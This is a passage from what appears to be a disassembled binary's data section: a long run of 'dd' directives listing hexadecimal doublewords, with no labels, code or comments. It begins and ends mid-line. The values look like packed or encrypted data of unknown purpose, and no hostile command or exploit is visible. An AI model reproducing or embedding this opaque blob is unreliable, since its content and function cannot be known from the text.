59CA310Bh, 0AA64C06h, 976818B3h, 9FA2594Ah dd 0EBFCDD9Ah, 4BD35C70h, 0B0E0ECE0h, 50215327h, 17579879h dd 0AE4DC97Eh, 5B001714h, 0D501A041h, 406B1EE9h, 40AEC251h dd 5E5B10B0h, 72692CABh, 56F82DD6h, 5D30214Ch, 42CF8DAh dd 8F84B64h, 5A72A3C0h, 634E7857h, 0EB2941D7h, 91C953EBh dd 97DD2B48h, 0D2E4982Bh, 9BF1A40h, 1C530776h, 682E89D7h dd 4A87E923h, 0D9C8AFB1h, 0F96C18E1h, 62EE0C43h, 7841AD2Fh dd 0D4B2053h, 0CA045F7Eh, 64F5EBCh, 74B990AFh, 9720AD58h dd 0D6092729h, 0B9B22775h, 75D57FF0h, 4AFDF641h, 0B68DEC54h dd 28450B72h, 627D23F4h, 0E9080272h, 25F65CB5h, 642FFDD0h dd 6347568h, 0B618D2ABh, 0C65F82B7h, 581D1254h, 900AAF6Ch dd 5B1308EEh, 0E9C6DCBBh, 0FF55372Dh, 0A9D9F733h, 4B2322DFh dd 585109EBh, 0F9093F73h, 0E97C985Fh, 91804AAEh, 0A8A095DBh dd 7A0F3141h, 8533FC16h, 5EFBBB14h, 2F19D049h, 0E095059h dd 1B3230B5h, 0A33189DFh, 14F5BC21h, 0FAD1F33Ah, 0BF933B5Ch dd 0C5895EB4h, 0BA5650FEh, 55762420h, 0F9B1714Ah, 2BA13E68h dd 275A032Fh, 20C6C4A8h, 12409718h, 9A2D19AAh, 4FCAB9AEh dd 0D6665847h, 326CFE30h, 25E90D06h, 3C694411h, 2A67616Ch dd 1009DE09h, 903BDEh, 992D8406h, 1220D6Eh, 458CD048h dd 61A13108h, 3CEA2E61h, 7599B95Bh, 990899ACh, 0BC66126Dh dd 43CB85ADh, 3A8F44EFh, 0C78EBF9Fh, 5A8FEA4Bh, 46DE4B77h dd 0D9949D52h, 0F687C203h, 92EAD0DAh, 0CA18E1E2h, 17898124h dd 0E8026D7Ch, 0D2B0497h, 0F707311Ch, 0C3D125D9h, 23D0EB1Bh dd 0A25FE97Dh, 821227FFh, 245C6D2Ah, 8569EAADh, 0BCF85E08h dd 3C34924h, 7B9F19DAh, 0AFA55BE1h, 0FBA8DD30h, 0FDAE08EBh dd 142CBE00h, 9D46456Bh, 198318F4h, 0B068C562h, 793111E6h dd 5BE971ACh, 0C428F822h, 590F05F3h, 0E48835C5h, 1B598EFFh dd 72EE2E14h, 8F19180Eh, 3A5A42Ah, 1399F188h, 0AD53C00Bh dd 2C0841C5h, 0D8ABA5B9h, 5B92406Bh, 0F9F7661Ch, 605968C5h dd 0B677E82h, 0CEEA9800h, 6B5BB2BAh, 0FF7510A8h, 60D13001h dd 93BA3A00h, 7FAA8669h, 5B6B9571h, 0FB75E292h, 2DE82900h dd 5470387Fh, 754659FCh, 2406FE5Eh, 326F129Ch, 0B6C507B2h dd 0C10343DEh, 0CC8305E1h, 31DF24D0h, 0C4B658Dh, 8401829Bh dd 928C5677h, 528EBE5Eh, 4C13812h, 13426467h, 84FAF2AEh dd 0D8AF689Ch, 0BD435546h, 5F5BC810h, 0E9C82CEAh, 6EF73955h dd 0FA4D8983h, 7489E21Ch, 75040E92h, 0F3B1FBE4h, 0E2BC971Eh dd 0EA5A85F4h, 382A50B1h, 1D4A684Dh, 8FAEA484h, 0B3B20016h dd 4EE9D388h, 0A54294EDh, 5E99037Fh, 46662556h, 23C30D6Bh dd 5FC5B09h, 0B18F42Ch, 0EE46354h, 415EBEF0h, 9F7E023h dd 0C6685E6Ah, 9F9C50DDh, 83A47E53h, 0D934FDAFh, 381EE498h dd 0F6652F6Fh, 3B770084h, 575268ACh, 89E6E927h, 573A5F53h dd 25DED85Fh, 77FCE0C0h, 28AD6212h, 0A5A2A1D7h, 9517CB5h dd 3A53B44Ch, 1A5F1A3Dh, 0E18582BFh, 4828FC74h, 9C2B12E0h dd 0C3503151h, 121288A8h, 0C7007D63h, 471477FAh, 0E9C6C593h dd 0EFEAD50Ah, 776864C2h, 0C6A12678h, 0AED76EEBh, 0BAEDF66Fh dd 9ACD2850h, 9DF53C97h, 3C7ED51Eh, 67D556A5h, 0F4DE2D78h dd 7F4B1609h, 0E915B796h, 25E166F0h, 0DB20574Fh, 4BC17512h dd 0D6525825h, 360558C8h, 0BA51E500h, 56674D8Dh, 0F5F25031h dd 351D5E33h, 0B281812Ch, 2F573013h, 6856213h, 39D8FACh dd 0E2524C8h, 0EDD52004h, 0FDC2BD8Eh, 0C1090155h, 5DF1F858h dd 6B6C4C0Bh, 0B4AF5D41h, 0FE57C4BDh, 18E3BC4Bh, 0B346C729h dd 4C930223h, 0DE9FE958h, 0C09B7BDFh, 0FBFF6C03h, 719DAA98h dd 20EE221Eh, 68F2588Ch, 0F6473020h, 1979C2Ch, 0B8430DB9h dd 2A59E93Ch, 879B1CC4h, 4312284Bh, 5D13CDB6h, 863740BFh dd 59161B69h, 0F01E7797h, 0BB00A394h, 7D367473h, 84CB0181h dd 0E913302Eh, 87916AFEh, 53F8653h, 16D2F684h, 301F06h dd 4AC480FCh, 94A0E328h, 92BF62D3h, 0BE8F5DEDh, 0FF53DD64h dd 912F6D8Dh, 7BB19C8Ah, 1AB27540h, 0BD76C0h, 893FE54Fh dd 26C4C581h, 17679FAh, 809BEA2h, 0A1208DDAh, 0DFB80785h dd 0A567026Ch, 5E3890F9h, 50179ABAh, 30ED58AEh, 7859E202h dd 0AB4134AFh, 120BFC21h, 499A683Bh, 3B698137h, 97005231h dd 0D1E4947Fh, 0C804E75Eh, 1028C54h, 0B1C42DF0h, 8D645E5Eh dd 0BC4F7AB2h, 0D0E9E1B7h, 0BF615BFh, 18FE78DBh, 8E8B7AC5h dd 51327F71h, 0B0894056h, 48DB54C4h, 0F8E942B0h, 8812DD78h dd 96A8FECAh, 0F601F248h, 0CFE950D9h, 7C28657Dh, 0C7AB4EB0h dd 58C703ABh, 0B4500603h, 0C5E72874h, 0D4A167EEh, 0A5F7EC2Eh dd 5DA205B8h, 0E9C13074h, 0CC3BD3ECh, 298971A6h, 80E59931h dd 50752D02h, 0F0594FE5h, 0C2273D8Eh, 65DC8E13h, 0A1D05F0h dd 0D152F947h, 50E92DF5h, 0BF21E90Bh, 0F8278C24h, 3E291094h dd 1E672250h, 94440D0Bh, 4E7B7E8h, 0AF09122Bh, 826D4596h dd 4D954887h, 0F11F1EE4h, 6B976AA1h, 1D096BACh, 0A3020646h dd 285AB9D5h, 77EF316Ah, 942EFF27h, 0BA8285F2h, 86F3B8C0h dd 88372DA4h, 3F48E7C8h, 7DCF680h, 0CC80C4FEh, 0BFEC32B9h dd 9FE17AD7h, 0E7FBDBFEh, 0EEBCDF49h, 0EB4AE97Eh, 0EC4C7E8h dd 29660282h, 161043CDh, 0BFD64992h, 0A84A4ACBh, 706E1966h dd 0BE35A8DAh, 5B27B73Fh, 17522691h, 4B79333Fh, 7F685908h dd 7A753D73h, 33D59DA2h, 68CF278Eh, 2288977h, 0C657113Dh dd 5925B4DFh, 0F3F5FA06h, 60D74B1Ch, 803D8069h, 390029BDh dd 0BBF15C9h, 980A50E3h dd 38E60908h, 9E4121E1h, 810844C7h, 605FFDBFh, 42C3EEEDh dd 0B2440EB8h, 3F606309h, 31417AA6h, 61B47ACDh, 0DF892759h dd 1C2694DBh, 0EDA08444h, 0D365BD5Ch, 0FE91C2A6h, 50501954h dd 0BA4DDD55h, 0B1C24A3Fh, 2A492E96h, 0C6D255FDh, 0F51D41E1h dd 44B8305Eh, 63073502h, 0E9368DE9h, 0A33FBDD4h, 7C9F7810h dd 72FF7AE0h, 70524CEBh, 2475611h, 0FB4B9BF6h, 600DC026h dd 6A01273Fh, 8A7F9142h, 752D8036h, 58922B1h, 4B318B01h dd 9C400C1Dh, 137A8F93h, 0EDDE0198h, 10D3DE9Ch, 597B7CBAh dd 20FC6C97h, 525DD231h, 43D5025Ah, 885F2E13h, 5A1307F7h dd 0FAA2FC09h, 68D49FFDh, 278DD02Fh, 1418498Bh, 5D823C5Eh dd 40513F61h, 825F7AB7h, 0A32F6B7Fh, 73A2E64Eh, 83CD9699h dd 0D2C2DE6h, 2E14CDD9h, 0A16E78D1h, 8A9EF469h, 69CC08B6h dd 3F32B00h, 3FF359C6h, 7704A2F4h, 293B3C4Bh, 7B858BCFh dd 3969081Ch, 7F93149h, 0D5BBD95Eh, 59D6FE1Ah, 0FF2262A7h dd 42EBD1D1h, 0FD58FD12h, 484BF109h, 0B18357AFh, 44C826E2h dd 982CD01h, 42F02E08h, 60255428h, 285B709Dh, 0DB13C1Eh dd 2C9F22E5h, 0F5FC2036h, 60DC3CC1h, 0C8234D3h, 75C0B2Bh dd 0A4BFE555h, 0E95241EEh, 0D172F5Ah, 0EB6A24h, 1D56C9E7h dd 2FE95F2Fh, 0FBD7EBA6h, 0DBC20034h, 5CA79CBh, 0FC2B9668h dd 0F19C1BDh, 0F82074EBh, 0E9A0B7A7h, 0CE80AFB6h, 1DBA2359h dd 12E028ECh, 0A9A7A6E9h, 5BBD0BBCh, 0FE9B8295h, 0CF925E8Ah dd 14287744h, 22FC05A3h, 0D52449B0h, 308C40C5h, 75C82D68h dd 5DAD6B67h, 1DBDDB38h, 0E97B7904h, 98947755h, 0EA09F0h dd 702A7E8Bh, 0C229392Dh, 8A5EE9E4h, 0ECBBF384h, 3281B53Ch dd 0DA558F7h, 5E3E00Eh, 79F12BB1h, 35AF6048h, 0A4F19209h dd 0D5FF8482h, 3AC0491Dh, 636C115Dh, 0AA2C74C9h, 755FCF3Dh dd 45A4FE46h, 439D3A4h, 0C943EB6h, 5AB20E58h, 0D929BB40h dd 0BD545BF4h, 0AD79B076h, 8B5D1F9Dh, 0E8D161C3h, 59D55119h dd 0FD6611A5h, 452EFE9Fh, 6DEA0195h, 82741779h, 23E75C7Ch dd 0EF857533h, 1442CF31h, 0C4FED2DFh, 30EEC968h, 0B23FB170h dd 0CA0CC870h, 397EB0E9h, 0F3F2B8F0h, 0CD7E93EDh, 87AC422h dd 25737048h, 6C22FDC6h, 79C0EEC1h, 9DA44DA0h, 0D1901C5Ah dd 2D3C9FF6h, 815C40CBh, 0B057B109h, 8139FB5Bh, 1AC23753h dd 0F72670A1h, 18DD40CAh, 0BDA7FCADh, 14693D4h, 8012EEC2h dd 0A373BA52h, 31496712h, 0C20E65ECh, 0BE97C1Dh, 51172B5Eh dd 0F95E3AF8h, 0A3BAE4B8h, 78151873h, 64D4F61Ch, 955A1A86h dd 0CAA70EC3h, 7C1159CCh, 0EF2A2041h, 0EA801670h, 5FEBE6C8h dd 0C3E5F0A3h, 28795AEAh, 7F6416CBh, 7FA79E67h, 54CCEEC8h dd 0B2325E30h, 60513E3Dh, 7A100C41h, 0E9140B7Bh, 0D7DE4378h dd 161836E9h, 5F58752h, 25EB303Dh, 0B80AE020h, 9907127Fh dd 0B6F2B052h, 37E07313h, 5F4D0AEh, 9F3C8F85h, 58C792DAh dd 0E9F4DCFBh, 6907955Eh, 0C872E128h, 0C514D71Eh, 160BF120h dd 9E5C15Ah, 0D301DDDAh, 0E29E1EBFh, 3190A223h, 0E6A6294Ah dd 0CDD850DAh, 993D3A1Eh, 9C85963Eh, 730476F9h, 0EE3B9159h dd 68EEBFD0h, 8C644A79h, 15197201h, 57837A1h, 0BF16AB04h dd 59C38FFh, 7CB5DBA4h, 925752F5h, 0CE57741Eh, 8AF1E56Bh dd 1C997569h, 6FF359F5h, 504CFFB2h, 581AF73Ch, 0A0D72D53h dd 0C730EE48h, 4001471Dh, 0E9165B0Ch, 0C8EB3B8Fh, 98B43171h dd 0CE524A26h, 0E9CE3967h, 9E5A30D9h, 0B7E90988h, 444C511Ah dd 7340EE11h, 0D6331CF1h, 0C80CC12Bh, 2E05347Ah, 0EFF657ABh dd 4B72D5D8h, 0CA153153h, 0E4680038h, 0D29A9756h, 2C23C881h dd 0B472205h, 2D2F792h, 0D380F411h, 32C0AD79h, 0C25C0D11h dd 82DA3F27h, 91822AF2h, 1D8C7FCAh, 5217C6C6h, 81EA4AA7h dd 2C831B5Eh, 7B69437h, 178C26FDh, 0F64029EFh, 0B9FF8785h dd 0B89DA49Fh, 0C0B35A27h, 0BF6AF484h, 680E8C8Eh, 0EE177E13h dd 0BC4B17CEh, 2CE9C3D4h, 0EF490064h, 7E490285h, 91FCB005h dd 40437C5Dh, 0C627E907h, 699E5997h, 89418C8h, 0A82FEA89h dd 0C15E2D99h, 3A8038ACh, 110B18BEh, 4CA1293Ah, 72229158h dd 0A5D5D26Bh, 0D8BB5924h, 5E36707h, 0EA8513FBh, 5E53942Ch dd 5B97E723h, 4B528EA4h, 0CA88BBB2h, 0B54870D0h, 0DD6856D4h dd 4A2A1C14h, 0C227E2FCh, 0C218C57h, 0B75316DDh, 0DB50AE2Eh dd 90A17B08h, 72AC045Fh, 9C64AF4Eh, 4C9FBC2h, 0E8A5C2B6h dd 18972878h, 4A296818h, 519B211Fh, 0E8EAE2E9h, 547AFEF6h dd 55358B3Ah, 710A8030h, 0D1A09AB7h, 0E0E9419Eh, 53A62B21h dd 5448110h, 795C5369h, 52052DADh, 0AB2CE255h, 0C06F7DDh dd 4A1C8428h, 13DDFE5Eh, 0E523F92Fh, 0C2AAE80Dh, 0C170987Fh dd 0A668CEC2h, 0BF79A14h, 93F9659Ch, 0F7AC1568h, 50274710h dd 7A4EC44Fh, 0E2F424A5h, 25E0BF3Fh, 98943EDBh, 7708B948h dd 0CC481F7Fh, 164D434Ch, 0BA330554h, 28245DE2h, 3F2CFA1Dh dd 0F7296E13h, 0D33B68ECh, 3145270Ah, 646D06A8h, 7E408A3Eh dd 41D21FBAh, 0F9746F26h, 98776989h, 0D35C6860h, 8DDCBAD2h dd 0B517F55h, 9A75AB7h, 0ADE9EB00h, 5F308366h, 7B2B0F41h dd 870CC015h, 897AA68Ch, 612CCD6Eh, 78E077FEh, 16E7E5FCh dd 0B02F5265h, 373035C7h, 29EA0C5Eh, 301361B9h, 2FC5659Ch dd 51F79B80h, 0BE544E15h, 86DF0A05h, 0C1149CAEh, 807E060h dd 6148DB35h, 58C58068h, 34C17A51h, 336D195Fh, 6B044E04h dd 0F5F1AB36h, 2A240804h, 0D27AA6FAh, 82D7E5AFh, 712041D4h dd 0F5C0A157h, 0BAC5DFBBh, 0B5C03960h, 351A0649h, 5C2C7BF4h dd 0FE98802h, 0C1595467h, 0C5CC3DD1h, 0DD8806ECh, 39E1C217h dd 9AC04759h, 0F082BB90h, 537D27A6h, 68133CC6h, 1EC2184h dd 30CCBED2h, 274C4F77h, 0EC4A8262h, 8FC6A0F5h, 806C0A37h dd 785E0D5Fh, 0E6594BB0h, 7B22C1D8h, 4333F63Dh, 0C7B19AA9h dd 80277C2Fh, 7B7188EFh, 4F4E0905h, 88556696h, 0C52D0761h dd 9176AF41h, 0FB0521D1h, 7D190087h, 36242FECh, 68610AD1h dd 46381A6Dh, 0E27B05C4h, 13AE5F02h, 0E4CEE862h, 580590E2h dd 0EF606BE9h, 0DC05B335h, 84B321D4h, 1E6D4D07h, 0E276D33Dh dd 2D5D2E0Fh, 2F7EE48Dh, 0C5C04394h, 166D5279h, 9412E957h dd 0B641BB26h, 39A15310h, 0D330ABF8h, 0D027041Dh, 7341AF09h dd 4B624803h, 0AC580BECh, 0B349EF4h, 647F7407h, 0D020325h dd 569A1098h, 4CF24000h, 0E8214233h, 0BD819AE9h, 5488BBD4h dd 0F90801D5h, 88C1805Bh, 0E853554h, 0FDE5CD29h, 0A2BE4176h dd 7827B00Eh, 210741FEh, 0FFAC3AC3h, 0E653EFE7h, 0D5E983A6h dd 575C01A9h, 0BB7356BFh, 7F1F6B4Dh, 94EE8597h, 7DF1EA6Bh dd 8B570CA7h, 89341089h, 3FBF80BAh, 64C47D01h, 55DFF74Fh dd 842AC5F9h, 61B6BABBh, 8A10D394h, 10B54C22h, 5200E82Dh dd 6479A468h, 9BB85A7Dh, 0FC4B7B43h, 4D685FD8h, 8DF209BAh dd 8C00F3EEh, 748316FFh, 9DD10124h, 5A790820h, 36A7CB5Eh dd 43C44B58h, 0F9500B49h, 56B78028h, 0C7FED7F6h, 0EFD008C3h dd 9BFF9380h, 7EE9A8F7h, 4CE6B5C3h, 0A9720930h, 1F50D1C2h dd 0B5910DDh, 125DD03Bh, 0AF6B79B9h, 68C3DE25h, 4038F472h dd 0EAD19375h, 0DB4102FAh, 84FFB278h, 78AC7305h, 797E9CC1h dd 62F0F41Ch, 0FA4CBB92h, 9DF38443h, 0E43435AAh, 0AA5F60F3h dd 0A05B9CB7h, 2AF92C3Fh dd 683538EFh, 0A21E932Ah, 0B548BB20h, 8D18D471h, 634B68E6h dd 0EE8A2540h, 9FEB4D00h, 10CE675h, 80A2FBh, 0E9333108h dd 5F354B39h, 0E0FCAF73h, 0DF3EC0ACh, 50CF74E2h, 0BE9D0CC4h dd 0FA4B949Ah, 78B3BF49h, 980697A3h, 6C2D9A02h, 3D7B2766h dd 41B8DD3h, 0D5B03F0Ch, 8EE0C212h, 0F0C5E0Bh, 0D74ACF29h dd 0EF8189BEh, 4E4E43F5h, 5A12FF0Ch, 701A6909h, 9E0BDE6h dd 0D74C0696h, 15E94FD8h, 314B0502h, 0A95579B8h, 96965D8Dh dd 0A9CC375Bh, 0E5E65EF0h, 2CFA92A9h, 0FC3ED0E1h, 6A6F11Dh dd 0E9125666h, 71DA55A1h, 7E7C082h, 88727240h, 1E56FA4Ch dd 0F24933CAh, 282F5C74h, 65CD20DEh, 5D2D90B6h, 8901C19Dh dd 58B2E9F0h, 0DFEBA26Fh, 7A540549h, 57583235h, 0B103BADCh dd 0F5D982AFh, 61E3D1F1h, 0A897488Ah, 4EA0E410h, 0B5F331F4h dd 52A11FE3h, 0EBB63F28h, 2FF6387Bh, 75A2F52Dh, 0A05F4F44h dd 39F8CB60h, 247CF968h, 0BA520760h, 232F1312h, 0C2DC489Ah dd 0DDCCAAFCh, 4359B664h, 34331698h, 47511B99h, 322A459Fh dd 0D4742E52h, 20AD5217h, 158CBED2h, 540E594Ah, 1AE081D6h dd 0FE35A555h, 5C516DFh, 0C757FAD9h, 652FF7F9h, 0FA94E153h dd 41C088Dh, 1003FC14h, 1A4C35FDh, 6529B604h, 0A909AB7Ah dd 287B226Dh, 78AD86C3h, 58650106h, 0E913B252h, 4A2E6C74h dd 0E6538D81h, 19A1AC28h, 9316BA37h, 0AC892FF9h, 2FDFB96Fh dd 7288F45Ch, 0D8B8040h, 214D03Eh, 6D1DF2F3h, 0E0074376h dd 9F9D42EFh, 3C4CC9FCh, 536402F1h, 4558E96Dh, 0AFB937A7h dd 80512A85h, 8C90A20h, 0F701D327h, 448FF1A3h, 4BC3BF00h dd 89F9C509h, 9203FAD9h, 6E586F56h, 0EC174F24h, 40B101EEh dd 0D1F72224h, 0CA13Eh, 1E2B51A3h, 60D3F8B7h, 27C2556Dh dd 185EB526h, 80534A5h, 95302021h, 548BCD32h, 0DD8EB0FDh dd 60399C0Dh, 269FB850h, 577F6A2Eh, 85480709h, 60F98E9Eh dd 4A01FD4Bh, 86EEEB68h, 0AEC1C48Ah, 8DBF0431h, 9D853AFCh dd 8650B7BAh, 260DB568h, 0ADD46EE9h, 0D297A678h, 1C98EAAFh dd 445D5841h, 0DD087068h, 10FD2ADCh, 299DEED2h, 0D24062E0h dd 555500E5h, 7236B68h, 0A4D58C9h, 3A0C39A1h, 5EAA32Eh dd 19D398Fh, 0A8C01C29h, 0A0681208h, 1A83B307h, 4138123Dh dd 0E154314Bh, 0C478B2EEh, 2DA40CDBh, 0B6161631h, 3110AC49h dd 3DE90F2Eh, 4AFC4CEAh, 0FD5C1229h, 35BFB0C6h, 52C7CD2h dd 114BC6F5h, 8E93AF32h, 0E13CD982h, 0B34E182Ch, 5EF411C4h dd 0A16CEE02h, 0D0D72AECh, 0DB9F599Ch, 1239F448h, 7D70C2BCh dd 37762DD5h, 53A38FFh, 9F1E2F3Ah, 2D51F6F0h, 0CA5DF207h dd 11FE55CAh, 0F33E15A6h, 24856082h, 3CE59D17h, 5F2A5598h dd 0EA92BDF3h, 0CB15797Fh, 8C898AD4h, 22C76C22h, 5EB15816h dd 4A2F9627h, 3EE7E188h, 5CF172BAh, 88D8F17Dh, 802D2DAEh dd 0E12CC4DBh, 4C83A28h, 2CE93B50h, 89EFB7DCh, 3046415Bh dd 36F5D4C6h, 27CD907Fh, 57D92F6Fh, 0D038FE83h, 7895EA7Dh dd 0A8F194FCh, 6B240564h, 0E2CF89AAh, 5BEDDF8h, 428C4465h dd 6E7939C0h, 0C85A48DEh, 835F3164h, 0AE843E61h, 0E98277B3h dd 66F7C23Dh, 591E25DAh, 0F4644655h, 85C858D5h, 4B26C581h dd 6A5EF908h, 3C207C8Bh, 2F84506Eh, 1BD6DDB7h, 3491C457h dd 0C036FD65h, 6142EB00h, 2BC9813Ah, 2A1F0D1Dh, 0A4F2F18Eh dd 0A3AE27B5h, 125C4871h, 20007531h, 6FD169AFh, 9AF95129h dd 2FB60806h, 0F8A1085Bh, 20765D1Ch, 5A9FDA95h, 0B5C2047Ch dd 0C052E539h, 97674202h, 0D721A009h, 901AD75Ah, 66AA21DFh dd 0DCC60244h, 5AE90BFAh, 0F204D1DAh, 0AA2EB30h, 840FEDEAh dd 0FCC0DDF7h, 603E37A8h, 0F8C94820h, 310B83D8h, 0E07DE9FDh dd 4C7A685Dh, 4D67849h, 18B014EAh, 19355B62h, 0AE4A7F2Dh dd 0E486E856h, 5F4EF1B2h, 6086D9ABh, 5B6653Ah, 0D2634C63h dd 28C55F1Dh, 40A97EA7h, 3D474E7Ch, 0F64B7EC4h, 0C66BA00h dd 0BB05013Eh, 0C379E0D7h, 0EB8177D0h, 315106AEh, 34CB2907h dd 0C981109Dh, 1E865B19h, 7C18ED92h, 8C2C55ABh, 3194C05h dd 0AB380606h, 0BAC8E83Dh, 94B67E03h, 3FA9A125h, 702EE836h dd 8565D93Fh, 0B113951Bh, 0D8441CFFh, 20B788F3h, 5E5E177Eh dd 91A3736h, 0EF63CB2h, 0ADFC25Dh, 8742E008h, 6F680176h dd 8F643C31h, 0CD98C455h, 50F2BDAAh, 2BFF5F33h, 0E9F330BEh dd 0EE963863h, 0A3D4044Fh, 4A05E2EEh, 0B55ADC8Ch, 0E0FFEECBh dd 94E9390Bh, 7914259h, 7FF45D7Dh, 0A2E8A039h, 22E9800Bh dd 462F29Bh, 0DE44739Bh, 52E95B84h, 2077DC3h, 711B2218h dd 0B624A01h, 69D00408h, 1D668BCCh, 3C518D68h, 0E99C704Bh dd 0BC5649Dh, 0B5EE2B25h, 0C2F445E9h, 735EBD5Dh, 7D27E9A6h dd 504E82C4h, 0B47A71FEh, 54C92A94h, 3C56109Eh, 0D3EDFDDBh dd 5AE4F7BFh, 0BEA664FAh, 871720CBh, 0EC74BB5Bh, 2A440E80h dd 0E780BDDEh, 16AE40EDh, 35E7A092h, 840B041Fh, 0A217132Dh dd 7B95E40h, 7D91BAB4h, 878B5AA2h, 0A46E4A78h, 474907F6h dd 97F53B15h, 0C1316540h, 0CC42C231h, 43C7CA2Ah, 6A68C115h dd 0EB82480h, 5652047h, 98FE480Ah, 6412C8F0h, 944337EAh dd 64BFC32h, 456BD32Dh, 5F828DEh, 0BB449F07h, 0FC3FA525h dd 0A0D16490h, 3E056873h, 5E424E73h, 2B4CC9BFh, 66C7A0h dd 0B825F54Dh, 0E3A6DA26h, 739F02B8h, 5DEE812Ch, 0FD69D407h dd 8C3885C6h, 6C80AD5Fh, 5A7D1C3h, 0DEE96326h, 82E3FAF8h dd 940FD518h, 0E1ED315Fh, 5BE27827h, 0D4E4C0ADh, 8A3BE3Eh dd 55CFE982h, 256F7954h, 0E4E9330Fh, 0B913BA3Ch, 1D29EB06h dd 0B87FE0CDh, 650FF5C8h, 31FE12ACh, 76604EDCh, 0AD5317E9h dd 0B5F259A4h, 5E0B55DCh, 8F868442h, 0BFDE74FBh, 0AD38397Dh dd 0D21EFF8Fh, 7CC4BF61h, 61837DAAh, 50AE11F4h, 85FD6B4h dd 68815EDBh, 33C0C7Ch, 0E1D0AA22h, 0FE278738h, 0E9EA82FFh dd 0A1F8D2C0h, 0D86B857Ch, 85BFE90h, 9317BEE3h, 7601EE74h dd 0E3A7871Bh, 55B2E23Eh, 39BE3E9Eh, 0D218AD92h, 0E9D7A0C3h dd 0BACD5E30h, 59CBC761h, 3228FB2Fh, 0CDBD4A68h, 0E80EE1A4h dd 0E91A1E38h, 5F1A63C5h, 0BBE59029h, 67964C29h, 0F83FCDE1h dd 0C6ECB108h, 0D9B6F354h, 68092E48h, 0DAFC381Ch, 0D755ED62h dd 31FD314Eh, 7942208Dh, 2CEF1305h, 6DECF101h, 11515C2Fh dd 7F096885h, 942465EFh, 27A8FA90h, 3B381AA1h, 4B9CFA41h dd 548A5667h, 6688D14h, 72843109h, 62DDFB50h, 5DFCA482h dd 12295AB0h, 0B4D78AB5h, 1F398010h, 64EF4A43h, 560C1248h dd 7CC80CBEh, 0EB0BCF69h, 391529h, 9267434Ch, 0A9095870h dd 3305F658h, 0C0A85DFDh, 447F1C00h, 72068BEh, 0C1015903h dd 2D4CB6E9h, 0CCE05852h, 0C00BBD55h, 0D5D6C43Fh, 0AAE9D1E8h dd 30F604BDh, 514FD8EBh, 5386B102h, 0E213B050h, 48C3AAE3h dd 679C476Fh, 69F3D509h, 2259130Bh, 5F7958D3h, 3DAD4018h dd 0CD605681h, 29435BF6h, 50FE12E3h, 5B2560F4h, 6825BE90h dd 3E3E75Eh, 0C749032Fh, 482E70DEh, 0B5FEEDAh, 6B89F176h dd 659079D6h, 28F5B505h, 9274C8EBh, 5A7DF167h, 2741AB73h dd 0C15CB87Bh, 0B2353800h, 271E713h, 3446EA81h, 8B724818h dd 0D3E90880h, 88FFDF4Ah, 0C040A3D8h, 43FC955Ch, 0C60929C5h dd 0B2D2704Ah, 0D566C3F8h, 3CE9181Fh, 50F32A53h, 0D2CD648h dd 0EE01628Ah, 976FB071h dd 0AE8212AEh, 0A149CBE7h, 0EFA257F5h, 9444968Eh, 0B28D4061h dd 0B551A700h, 80D5F6D8h, 28390EF5h, 0CA6259EAh, 627A7DE9h dd 0F6ADF48h, 0D3A16615h, 0E0BF65FBh, 5B62D9B1h, 0DAD03086h dd 63D69530h, 45267A8Bh, 15BE0C8Fh, 0EA97C5C7h, 206CD0A4h dd 58BDDB4Fh, 7672131Bh, 0E3AF07DEh, 6E09E24Ch, 0D7C0B4C0h dd 0E9160573h, 0A328467Bh, 29DE9551h, 31885D56h, 14775F25h dd 8C7BBC51h, 52629B05h, 3263C1ECh, 20E1B70Ch, 684CD9ACh dd 0D79D703Fh, 47E94EB0h, 4F4FDF56h, 0A77A28FFh, 0FC970C70h dd 735FDA69h, 47811275h, 890A09E9h, 25705509h, 5E14D0BFh dd 82E294BFh, 5703CB95h, 0A4B7E951h, 0A8FEAC2Ah, 0BD30616Ah dd 0C47A2CCAh, 0F6B04225h, 0A57B2938h, 0EE415F67h, 2DC257AFh dd 0E77A20AEh, 0AB371A17h, 36FC00B0h, 560C2B35h, 2D1B7D12h dd 81350EBh, 87FC5F25h, 92AF4C2h, 0C7D597Fh, 251491C9h dd 0B2097403h, 0C9F40579h, 0BB2EC67Dh, 0D021CA42h, 13FDF85Ah dd 4A3D9C85h, 89D2B46Dh, 3C4242E9h, 5C7975DCh, 0F52BF33Fh dd 12BC2F01h, 3B201F53h, 927A17D2h, 0BA29F036h, 81EDF05h dd 0A4FB4268h, 590ADD6h, 0EC6B3E0Bh, 3A07D43h, 0BD7587EBh dd 2EF9554Bh, 3B397D11h, 0E0E3A5C8h, 0B543B1BCh, 90D36263h dd 0B652C1A8h, 27253777h, 20495135h, 5C017D8h, 81A1B25Dh dd 44166853h, 0EB660953h, 0EB0616D5h, 4078AD5Dh, 77FC2EBh dd 8D5114CFh, 7A9210B9h, 3186B9E6h, 35B51C7Fh, 0F82EA5F1h dd 0FDEBA164h, 0D79D406Fh, 1703246h, 2DCCF141h, 0DC88066Bh dd 333C1D68h, 0EAF46220h, 0A246556h, 0CF4EBB09h, 32E0079Eh dd 5F52A2E3h, 823CE61Ch, 0EAD2315Ch, 0CB595DC7h, 77D929C2h dd 8A944A16h, 5D20E950h, 5F929453h, 0A2450938h, 0DCB067FAh dd 0DA004198h, 0BD3E8E0Eh, 9812F654h, 16274B24h, 0B3A1168Fh dd 27314832h, 0C855EB2Ch, 0F6468A15h, 35884D76h, 0B5770501h dd 404A5A0Ch, 475E11EEh, 275D0258h, 9A459828h, 6AC5270Fh dd 3500E876h, 1AB143E2h, 953749E9h, 280CB15Eh, 1E4E015Ch dd 2506810h, 0A3B8312Bh, 0B382C67Eh, 57057C51h, 0F417D9AAh dd 0DBB7170Dh, 20760A2Ah, 77E98646h, 48953C23h, 0BD96A601h dd 0A4FC819Ch, 32EAD05Fh, 6E4199E6h, 7811F99Eh, 2BD385Ah dd 91BF40Dh, 2AC9E4EEh, 75AB37F2h, 0A61CB961h, 58C6C95Bh dd 46D82127h, 15FD9D6Bh, 0CEE9841Ch, 0EE30BB30h, 7F2D07E0h dd 33FA06E4h, 0C3AC5BE9h, 0EA80590Fh, 159B4C43h, 0B75DFE55h dd 0D4032E2h, 802C4A79h, 2113CE0Fh, 6816F7E2h, 2B89EB69h dd 9D1431E0h, 1036DAA4h, 0FA90278Bh, 0AAC75485h, 7249843h dd 5F60C5C3h, 0EC86D53Ch, 0DD5D2723h, 6F2F33BBh, 0A20C22FEh dd 0D89ADF22h, 6808F5C7h, 78E425B0h, 870BECE3h, 0F58BF582h dd 0BB407D7Ch, 5A601311h, 0BD4C41Bh, 2254C506h, 454BE0ADh dd 29501224h, 89B10DDh, 0E9C50102h, 